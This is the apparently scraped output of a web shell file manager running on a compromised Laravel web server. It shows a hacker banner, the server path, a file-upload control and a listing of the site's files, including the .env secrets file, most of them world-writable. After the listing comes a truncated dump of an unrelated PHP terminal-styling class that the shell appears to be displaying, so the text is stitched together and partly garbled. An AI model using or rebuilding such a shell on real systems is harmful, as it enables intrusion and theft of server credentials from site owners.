I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
64,
'md' => 76,
'lg' => 102,
'xl' => 128,
'2xl' => 153,
];
/**
* Creates a new action instance.
*/
public function __construct(
private Styles $styles,
private string $style,
) {
// ..
}
/**
* Applies multiple styles to the given styles.
*/
public static function multiple(Styles $styles, string $stylesString): Styles
{
$stylesString = self::sortStyles(array_merge(
$styles->defaultStyles(),
array_filter((array) preg_split('/(?![^\[]*\])\s/', $stylesString))
));
foreach ($stylesString as $style) {
$styles = (new self($styles, $style))->__invoke();
}
return $styles;
}
/**
* Converts the given style to a method name.
*
* @return Styles
*/
public function __invoke(string|int ...$arguments): Styles
{
if (StyleRepository::has($this->style)) {
return StyleRepository::get($this->style)($this->styles, ...$arguments);
}
$method = $this->applyMediaQuery($this->style);
if ($method === '') {
return $this->styles;
}
$method = array_filter(
(array) preg_split('/(?![^\[]*\])-/', $method),
fn ($item) => $item !== false
);
$method = array_slice($method, 0, count($method) - count($arguments));
$methodName = implode(' ', $method);
$methodName = ucwords($methodName);
$methodName = lcfirst($methodName);
$methodName = str_replace(' ', '', $methodName);
if ($methodName === '') {
throw StyleNotFound::fromStyle($this->style);
}
if (! method_exists($this->styles, $methodName)) {
$argument = array_pop($method);
$arguments[] = is_numeric($argument) ? (int) $argument : (string) $argument;
return $this->__invoke(...$arguments);
}
return $this->styles
->setStyle($this->style)
->$methodName(...array_reverse($arguments));
}
/**
* Sorts all the styles based on the correct render order.
*
* @param string[] $styles
* @return string[]
*/
private static function sortStyles(array $styles): array
{
$keys = array_keys(self::MEDIA_QUERY_BREAKPOINTS);
usort($styles, function ($a, $b) use ($keys) {
$existsA = (bool) preg_match(self::MEDIA_QUERIES_REGEX, $a, $matchesA);
$existsB = (bool) preg_match(self::MEDIA_QUERIES_REGEX, $b, $matchesB);
if ($existsA && ! $existsB) {
return 1;
}
if ($existsA && array_search($matchesA[1], $keys, true) > array_search($matchesB[1], $keys, true)) {
return 1;
}
return -1;
});
return $styles;
}
/**
* Applies the media query if exists.
*/
private function applyMediaQuery(string $method): string
{
$matches = [];
preg_match(self::MEDIA_QUERIES_REGEX, $method, $matches);
if (count($matches) < 1) {
return $method;
}
[, $size, $method] = $matches;
if ((new Terminal)->width() >= self::MEDIA_QUERY_BREAKPOINTS[$size]) {
return $method;
}
return '';
}
}